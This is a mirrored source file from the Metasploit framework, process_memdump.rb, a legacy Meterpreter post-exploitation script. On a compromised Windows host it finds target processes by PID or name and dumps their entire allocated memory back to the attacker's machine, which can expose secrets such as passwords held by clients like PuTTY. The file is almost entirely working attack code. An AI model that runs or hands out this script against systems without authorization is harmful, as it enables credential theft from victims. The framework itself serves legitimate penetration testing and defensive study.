Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

process_memdump.rb 5.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. # Note: Script is based on the paper Neurosurgery With Meterpreter by
  8. # Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)
  9. #-------------------------------------------------------------------------------
  10. ################## Variable Declarations ##################
  11. require 'fileutils'
  12. @client = client
  13. pid = nil
  14. name = nil
  15. toggle = nil
  16. resource = nil
  17. query = false
  18. @exec_opts = Rex::Parser::Arguments.new(
  19. "-h" => [ false, "Help menu." ],
  20. "-p" => [ true, "PID of process to dump."],
  21. "-n" => [ true, "Name of process to dump."],
  22. "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."],
  23. "-t" => [ false, "toggle location information in dump."],
  24. "-q" => [false, "Query the size of the Process that would be dump in bytes."]
  25. )
  26. def usage
  27. print_line("")
  28. print_line("USAGE:")
  29. print_line("EXAMPLE: run process_memdump putty.exe")
  30. print_line("EXAMPLE: run process_memdump -p 1234")
  31. print_line(@exec_opts.usage)
  32. raise Rex::Script::Completed
  33. end
  34. @exec_opts.parse(args) { |opt, idx, val|
  35. case opt
  36. when "-h"
  37. usage
  38. when "-p"
  39. pid = val
  40. when "-n"
  41. name = val
  42. when "-t"
  43. toggle = true
  44. when "-q"
  45. query = true
  46. when "-r"
  47. list = val
  48. resource = ""
  49. if not ::File.exist?(list)
  50. raise "Command List File does not exists!"
  51. else
  52. ::File.open(list, "r").each_line do |line|
  53. resource << line
  54. end
  55. end
  56. end
  57. }
  58. # Function for finding the name of a process given it's PID
  59. def find_procname(pid)
  60. name = nil
  61. @client.sys.process.get_processes.each do |proc|
  62. if proc['pid'] == pid.to_i
  63. name = proc['name']
  64. end
  65. end
  66. return name
  67. end
  68. # Find all PID's for a given process name
  69. def find_pids(name)
  70. proc_pid = []
  71. @client.sys.process.get_processes.each do |proc|
  72. if proc['name'].downcase == name.downcase
  73. proc_pid << proc['pid']
  74. end
  75. end
  76. return proc_pid
  77. end
  78. # Dumps the memory for a given PID
  79. def dump_mem(pid,name, toggle)
  80. host,port = @client.session_host, session.session_port
  81. # Create Filename info to be appended to created files
  82. filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
  83. # Create a directory for the logs
  84. logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')
  85. # Create the log directory
  86. ::FileUtils.mkdir_p(logs)
  87. #Dump file name
  88. dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
  89. print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
  90. begin
  91. dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
  92. rescue
  93. print_error("Could not open process for reading memory!")
  94. raise Rex::Script::Completed
  95. end
  96. # MaximumApplicationAddress for 32bit or close enough
  97. maximumapplicationaddress = 2147418111
  98. base_size = 0
  99. while base_size < maximumapplicationaddress
  100. mbi = dump_process.memory.query(base_size)
  101. # Check if Allocated
  102. if mbi["Available"].to_s == "false"
  103. file_local_write(dumpfile,mbi.inspect) if toggle
  104. file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
  105. print_status("\tbase size = #{base_size/1024}")
  106. end
  107. base_size += mbi["RegionSize"]
  108. end
  109. print_status("Saving Dumped Memory to #{dumpfile}")
  110. end
  111. # Function to query process Size
  112. def get_mem_usage( pid )
  113. p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
  114. if( p )
  115. begin
  116. if( not @client.railgun.get_dll( 'psapi' ) )
  117. @client.railgun.add_dll( 'psapi' )
  118. end
  119. # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
  120. if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
  121. @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
  122. [ "HANDLE", "hProcess", "in" ],
  123. [ "PBLOB", "ProcessMemoryCounters", "out" ],
  124. [ "DWORD", "Size", "in" ]
  125. ]
  126. )
  127. end
  128. r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
  129. if( r['return'] )
  130. pmc = r['ProcessMemoryCounters']
  131. # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
  132. # Note: As we get the raw structure back from railgun we need to account
  133. # for SIZE_T variables being 32bit on x86 and 64bit on x64
  134. mem = nil
  135. if( @client.arch == 'x86' )
  136. mem = pmc[12..15].unpack('V').first
  137. elsif( @client.arch == 'x64' )
  138. mem = pmc[16..23].unpack('Q').first
  139. end
  140. return (mem/1024)
  141. end
  142. rescue
  143. p "Exception - #{$!}"
  144. end
  145. p.close
  146. end
  147. return nil
  148. end
  149. # Main
  150. if client.platform == 'windows'
  151. if resource
  152. resource.each do |r|
  153. next if r.strip.length < 1
  154. next if r[0,1] == "#"
  155. print_status("Dumping memory for #{r.chomp}") if not query
  156. pids = find_pids(r.chomp)
  157. if pids.length == 0
  158. print_status("\tProcess #{r.chomp} not found!")
  159. next
  160. end
  161. pids.each do |p|
  162. print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query
  163. dump_mem(p,r.chomp,toggle) if not query
  164. end
  165. end
  166. elsif pid
  167. name = find_procname(pid)
  168. print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query
  169. print_status("Dumping memory for #{name}") if not query
  170. dump_mem(pid,name,toggle) if not query
  171. elsif name
  172. print_status("Dumping memory for #{name}") if not query
  173. find_pids(name).each do |p|
  174. print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query
  175. dump_mem(p,name,toggle) if not query
  176. end
  177. else
  178. usage
  179. end
  180. else
  181. print_error("This version of Meterpreter is not supported with this Script!")
  182. raise Rex::Script::Completed
  183. end